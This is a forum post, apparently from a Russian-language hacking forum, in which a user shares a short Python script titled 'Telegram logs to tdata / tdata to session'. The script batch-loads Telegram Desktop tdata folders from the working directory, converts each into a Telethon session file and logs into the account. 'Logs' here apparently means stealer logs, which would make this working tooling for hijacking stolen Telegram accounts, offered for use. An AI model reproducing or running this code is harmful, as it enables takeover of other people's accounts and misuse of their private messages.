• XSS.stack #1 – первый литературный журнал от юзеров форума

Guron_18

floppy-диск
Пользователь
Регистрация
13.12.2018
Сообщения
1 420
Решения
2
Реакции
2 325
Telegram logs to tdata
Telegram tdata to session

Python:
from opentele import exception
from opentele.td import TDesktop
from opentele.tl import TelegramClient
from opentele.api import API, UseCurrentSession, CreateNewSession
from telethon import errors

import asyncio
import os
import shutil


async def main(folder):
    print(folder)
    try:
        tdesk = TDesktop(folder)
        assert tdesk.isLoaded()
        client = await tdesk.ToTelethon(session=f'{folder}.session', flag=UseCurrentSession)
        await client.connect()
        await client.PrintSessions()
        await client.disconnect()
    except exception.OpenTeleException as e:
        print(e)
    except RecursionError as e:
        print(e)
    except RuntimeError as e:
        print(e)
    except errors.rpcerrorlist.UserDeactivatedBanError as e:
        print(e)
    except errors.common.InvalidBufferError as e:
        print(e)
    except Exception as e:
        print(e)
    # finally:
    #    shutil.rmtree(folder, ignore_errors=True)

if __name__ == '__main__':
    folders = [e for e in os.listdir() if os.path.isdir(e)]
    print(len(folders))
    for folder in folders:
        asyncio.run(main(folder))
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх